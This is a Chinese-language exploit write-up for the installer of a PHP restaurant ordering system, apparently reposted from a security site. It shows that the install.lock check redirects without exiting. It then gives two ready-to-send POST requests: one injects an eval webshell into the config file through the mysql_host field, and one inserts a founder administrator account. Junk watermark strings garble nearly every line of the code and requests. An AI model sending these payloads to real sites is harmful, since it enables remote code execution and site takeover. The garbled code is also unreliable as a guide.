问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
" C" V5 i' x( l/ e9 T. Q7 g: G) @& L7 w# L$ N
<?php9 A3 Y" Y) o+ s+ J
if(file_exists("../install.lock"))
# s9 o! X$ s% y{' g+ u9 X/ z+ \! K" D0 \. m& v. @
header("Location: ../");//没有退出" N3 K" F) N* P) `, T) }
}
) F! A/ j5 J b6 b2 { + j8 f. j, O& p0 J1 ^5 P& f
//echo 'tst';exit;9 H1 p: w$ ^7 c) a( O, j% c
require_once("init.php");% Q! V! [3 B$ w
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. u2 A7 R* U: h9 ^3 L' Y{$ j6 K0 L5 }% {. B
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。( E6 W- t5 M/ @
9 l1 L/ n: O4 h% a$ Y
1、getshell(很危险)
' F" {6 G6 `" o P8 Cif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
! |+ z0 m( c0 B% c9 p{7 J; |/ g* p3 L
$smarty->assign("step",1);
4 b3 k8 H2 X( ^6 o0 q9 u$smarty->display("index.html");
' Y8 _0 l0 B' C) i1 N j/ R}elseif($_REQUEST['step']==2)
2 L% Z) u) o/ i9 N4 q. A; Q. t{3 r0 G& K! l" X& L) ~4 [
$mysql_host=trim($_POST['mysql_host']);8 n, W: j0 E+ G0 ]8 c
$mysql_user=trim($_POST['mysql_user']);8 _6 P5 b# Q2 u# K, C) E
$mysql_pwd=trim($_POST['mysql_pwd']);# @& q8 i0 g; w6 X _! q7 W# N
$mysql_db=trim($_POST['mysql_db']);
" B% m d# p' M* H: n( p1 J $tblpre=trim($_POST['tblpre']);# ?# R( D! C' g
$domain==trim($_POST['domain']);) t( y; l) }9 I" T8 e$ S# S B
$str="<?php \r\n";" T' N* y6 D/ q' Y
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
5 P3 M' x4 G* j' B $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";: }3 o" c# D+ P# A* `
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
6 _! O Q0 |# e+ O $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 e2 V* Q S, O; [, a+ A $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
& Z$ s ^! h, } $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
; o# P1 J7 |) F: T0 j! T) t $str.='define("DOMAIN","'.$domain.'");'."\r\n";$ t2 f9 q7 o6 |( \3 {
$str.='define("SKINS","default");'."\r\n";: p# t1 }, C- Z8 ^$ Z3 E3 a
$str.='?>';" H9 P& h: @* s9 q
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
( I4 m ]- r, m" v" C上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马% g) n' S$ f1 c& [
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
u- r- n* j9 x3 SHost: 192.168.80.1294 l+ A7 O/ r/ ?" x: s4 l
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
% O, A& |/ j' \% \, gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* u$ P, D0 m/ E1 q. aAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.32 f8 k& C/ u" T1 t( A" d
Accept-Encoding: gzip, deflate
, x3 _: x& h2 K2 L HReferer: http://192.168.80.129/canting/install/index.php?step=1' g, W/ N1 u( L1 E C
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
; \- A4 S* N# W* u+ W- I5 o% UContent-Type: application/x-www-form-urlencoded
/ U0 S4 r/ x' a0 }: l$ zContent-Length: 126" y/ O" w( P4 A% u: r7 q
+ {6 T2 N a+ m7 H3 Smysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD4 |& w+ H" ?! a+ K; G B
但是这个方法很危险,将导致网站无法运行。. a& z) V7 A- ?9 Z2 Z) N. a V1 O2 C0 Q
. X2 w% Z3 B3 o: x. d: g4 Z [. e2、直接添加管理员. e, }" U! ?( G! F0 c9 p
9 r6 t" E& P5 ^3 g! ?4 Zelseif($_REQUEST['step']==5)
. g* n7 K/ _6 E" v{
' I! Y1 `0 g- A% i if($_POST)8 P& i/ Q6 N' ] f( b2 ]) R& G
{ require_once("../config/config.inc.php");. d9 r Z) ] D* Y v
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);* |' Q' y* f7 `) Z
mysql_select_db(MYSQL_DB,$link);
, y/ E& W* w5 J9 t" O, i, n mysql_query("SET NAMES ".MYSQL_CHARSET );. q8 K* j- F: O
mysql_query("SET sql_mode=''");
* Z, p9 Z. [* ]) [( W6 j5 Q! V n6 [3 U# A( g$ y8 ^ e- s
$adminname=trim($_POST['adminname']);, K8 i% c$ A/ q. r2 q4 X/ c
$pwd1=trim($_POST['pwd1']);8 j* _4 X; G$ I8 f. G9 J$ [
$pwd2=trim($_POST['pwd2']);
# ~5 `0 [( N8 e' L9 [ if(empty($adminname))2 h$ f4 E* }9 m
{8 ^; q2 H* I% q! F0 m$ c9 l
* D; k0 j6 \8 V5 [
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
; r% f; C1 v2 u exit();7 Q7 h, k& h0 U+ P5 `" _8 E
}! t5 d Y9 ?& }! O9 Y* x
if(($pwd1!=$pwd2) or empty($pwd1))6 S$ X: N$ W R: R
{
0 ~( ?3 `2 i Y+ o4 Y& ~, X) t echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
' A8 Y1 T$ r$ w4 C6 F- [; j7 e3 E }
8 l0 N( y4 P0 n8 S. `. n3 C8 ^4 w5 V mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
0 t* d6 T) ~0 [5 [. N }$ T2 A8 c. D5 r) Z r
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
6 l" U' c& R+ U% `% C8 xPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
1 j) R% r) {0 P" A1 kHost: 192.168.80.129* L+ y+ E E( z
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) I5 s% G) k& @0 P; \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }9 n$ M3 i+ }9 b: T. s& N
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 e. `$ @$ B7 g; U8 p, P0 UAccept-Encoding: gzip, deflate8 H5 y$ S$ p! @% B. }
Referer: http://www.2cto.com /canting/install/index.php?step=1
3 ~7 u1 Y; V$ y: ^( {' kCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc422 U9 i( U2 o1 k3 d- n) B$ N9 Z. t
Content-Type: application/x-www-form-urlencoded
# F2 s" R% d; N3 ]! _" ~Content-Length: 46
* ?1 e5 g* d9 `. s) S( X1 J$ W
8 o4 ^7 C( T' Z7 h E; W1 P* O, c1 B8 aadminname=qingshen&pwd1=qingshen&pwd2=qingshen" B V7 Q0 w' M. I3 V- @
|